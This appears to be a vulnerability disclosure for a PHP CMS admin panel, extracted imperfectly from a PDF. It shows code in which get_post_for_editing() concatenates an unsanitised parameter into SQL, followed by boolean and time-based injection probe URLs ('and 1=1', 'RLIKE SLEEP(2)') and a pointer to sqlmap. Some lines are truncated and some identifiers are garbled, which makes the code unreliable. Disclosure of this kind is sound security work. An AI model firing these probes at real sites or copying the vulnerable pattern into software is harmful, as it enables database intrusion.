

```
2
 3
     affected source code:
 4
 5
     add_post.php
 6
 7
       <?php
 8
 9
         <?php selected_page(); ?>
             if (empty($errors)) {
10
                 $page_id = mysql_prep($_POST['page_id']);
11
                 $title = mysql_prep($_POST['title']);
12
                 $active = mysql_prep($_POST['active']);
13
                 $position = mysql_prep($_POST['position']);
14
                 $content = mysql_prep($_POST['content']);
15
16
                 $query = "INSERT INTO posts (page_id, title, active, position, content) VALUES ('{$pag
17
18
                 $result = mysql_query($query);
19
         . . . . . .
20
         <?php
             if (isset($selected_page['id'])) {
21
22
                  echo "<option value=\"{$selected_page['id']}\">{$selected_page['menu_name']}</option>\
23
             } else {
                 $query = "SELECT * FROM pages ORDER BY id";
24
                 $result = mysql_query($query);
                 confirm_query($result);
26
                 while ($pages = mysql_fetch_array($result)) {
27
28
                      echo "<option value=\"add_post.php?page={$pages['id']}\">{$pages['menu_name']}</op
                  }
29
```

```
30
             }
31
         ?>
32
       ?>
33
     functions.php
34
35
       <?php
36
37
         function selected_page()
38
         {
39
             global $selected page;
40
             global $selected post;
41
             global $selected_sidebar;
             if (isset($_GET['page'])) {
42
43
                 $selected_page = get_page_for_editing($_GET['page']);
44
45
             }
46
             if (isset($_GET['post'])) {
47
                 $selected post = get post for editing($ GET['post']);
48
49
             }
50
             if (isset($_GET['sidebar'])) {
51
                 $selected sidebar = get sidebar for editing($ GET['sidebar']);
52
53
             }
54
         }
55
56
         function get_post_for_editing($post_id)
57
         {
             $query = " SELECT * FROM posts ";
58
             $query .= " WHERE id =" . $post_id . " ";
59
60
             $result = mysql_query($query);
             confirm_query($result);
61
62
             $post = mysql_fetch_array($result);
63
             return $post;
64
         }
65
       ?>
66
67
     affected position:
68
           function "get_post_for_editing()" in /admin/functions/functions.php and $query = "INSERT INT
69
           We can see the $post_id parameter has not been safely processed in functions.php. So, the SQ
     -----
70
71
     affected executable:
72
       Like this: http://xx.xx.com/admin/add_post.php?page=2 and 1=1
73
                  http://xx.xx.com/admin/add post.php?page=2 and 1=2
74
                  http://xx.xx.com/admin/add_post.php?page=2 RLIKE SLEEP(2)
75
76
     Then, we can use tools like sqlmap for more information.
```